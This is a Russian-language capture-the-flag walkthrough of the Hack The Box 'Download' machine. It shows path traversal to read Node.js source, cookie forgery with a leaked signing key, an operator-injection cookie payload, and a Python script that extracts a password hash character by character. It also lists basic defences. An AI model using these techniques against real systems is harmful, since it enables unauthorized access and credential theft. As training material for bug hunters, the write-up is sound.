Path traversal — это атака, при которой злоумышленник пытается получить доступ к файлам за пределами нормальных директорий, используя манипуляции с путями файлов. Сегодня на примере прохождения уязвимой машины Hack The Box Download, рассмотрим уязвимость path traversal. Я покажу, как эксплуатировать уязвимость path traversal для получения доступа к исходному коду приложения на Node.js
Еще по теме: IDOR уязвимость на практике
Что такое Path Traversal
Path Traversal, также известная как Directory Traversal возникает, когда злоумышленник может манипулировать путем файла веб-приложения. Это может привести к раскрытию конфиденциальной информации или даже выполнению вредоносного кода.
Статья для обучения багхантеров (этичных хакеров). В качестве примера использовалась намеренно уязвимая машина Hack The Box Download. При участии в Баг Баунти необходимо действовать этично и придерживаться установленных правил. Несанкционированный взлом — уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Атакующий может использовать специальные символы, такие как « ../» или « ../../../../», чтобы перемещаться по директориям и получить доступ к файлам за пределами предназначенной области.
Path traversal на примере Download Hack The Box
Исследовав сайт, мы обнаружили форму загрузки файлов на странице /files/upload.
Анализируя данный запрос в Burp History, мы выявили типичные для приложения на Node.js cookie.
После успешной авторизации мы раскодировали значение download_session и проверили, что произошли изменения.
Теперь у нас появился новый параметр user, содержащий имя пользователя и его идентификатор.
При проведении тестовой загрузки файла, мы отметили, что сообщение об успешном выполнении действия передается в параметр success.
Path traversal
Страница /files/download/ отдает нам файл при скачивании. Стоит проверить, нет ли здесь уязвимости обхода каталога. Сделать это можно, запросив файл package.json, характерный для программ на Node.js. Я использую Burp Intruder и словарь с разными вариантами указания пути к файлу.
В итоге получаем содержимое package.json, откуда узнаем, что основной файл называется app.js, а также имя пользователя — wesley. Теперь тем же способом запросим файл app.js.
Получаем ключ для подписи куки (строка 39), а еще видим использование SQL-запросов (строка 59).
Cookie
Имея ключ, мы можем манипулировать значениями куки, создавая и подписывая их для любого пользователя. В этом нам поможет утилита cookie-monster. Установим ее.
1 2 3 4 5 |
npm install --global yarn git clone https://github.com/DigitalInterruption/cookie-monster cd cookie-monster yarn install yarn link |
Сохраним значение куки в файл и поменяем имя пользователя на wesley. Затем сгенерируем нужные нам значения.
1 |
./cookie-monster.js -e -f cookie.txt -k 8929874489719802418902487651347865819634518936754 -n download_session |
Подставляем сгенерированные значения в запрос и получаем страницу нового пользователя.
В окружении пользователя на сайте ничего не находим, поэтому продолжим просматривать исходные коды. В уже известном нам файле app.js отмечаем подключаемые модули.
Первым делом я просмотрел содержимое файла routers/auth.js. Наиболее интересен в нем блок кода для получения пользователя с помощью функции findFirst (строки 41–44).
Кроме параметра имени пользователя, есть еще и параметр password. Учитывая, что для выборки из базы используется findFirst, можно протестировать инъекцию, основанную на использовании в передаваемых параметрах других операторов: contains, startWith и прочих возвращающих булевы значения. К примеру, следующее значение cookie отобразило файлы пользователя!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
{ "flashes":{ "info":[], "error":[], "success":[""] }, "user":{ "username":{ "contains": "WESLEY" }, "password":{ "startsWith":"" } } } |
В самих файлах ничего интересного нет, зато мы можем попытаться подобрать хеш пароля пользователя.
Автоматизация
Смысл в том, чтобы поочередно перебирать символы хеша пароля. Как только реальный хеш будет начинаться с указанной последовательности, мы получим отличный от остальных случаев ответ и начнем перебирать следующий символ хеша.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import subprocess import json import requests passwd = "" chars = "0123456789abcdef" tmp_pass = "" def getCookie(password): data = {"flashes":{"info":[],"error":[],"success":[""]},"user":{"username":{"contains": "WESLEY"},"password":{"startsWith":password}}} with open("cookie.txt","w") as f: f.write(json.dumps(data)) out = subprocess.check_output(["./cookie-monster/bin/cookie-monster.js", "-e", "-f", "cookie.txt", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode() index1 = out.index("download_session=") + len("download_session=") out = out[index1:] sess = out[:out.index("\x1b")] index2 = out.index("download_session.sig=") + len("download_session.sig=") out = out[index2:] sig = out[:out.index("\x1b")] return sess, sig for i in range(32): for c in chars: tmp_pass = passwd + c print("Hash: " + tmp_pass, end='\r') sess, sig = getCookie(tmp_pass) cookie = {"download_session": sess, "download_session.sig": sig} r = requests.get('http://download.htb/home/', cookies=cookie) if( len(r.text) != 2174 ): passwd = tmp_pass break print("Hash: " + passwd) |
Спустя несколько минут получаем хеш MD5 и расшифровываем пароль при помощи сервиса hashes.com.
С полученными учетными данными авторизуемся по SSH и забираем флаг пользователя.
Защита от Path Traversal
- Фильтрация Ввода. Ограничьте ввод от пользователей, фильтруя спецсимволы и символы « ../». Также, рекомендуется использовать белый список (whitelist) для разрешения только определенных символов.
- Использование Абсолютных Путей. Вместо относительных путей используйте абсолютные, чтобы предотвратить возможность манипуляций.
- Ограничение Доступа. Настройте права доступа так, чтобы веб-сервер имел доступ только к необходимым директориям и файлам.
Path Traversal представляет серьезную угрозу, но с правильными мерами безопасности и осведомленностью, можно минимизировать риски и обеспечить надежную защиту веб-приложений.
ПОЛЕЗНЫЕ ССЫЛКИ: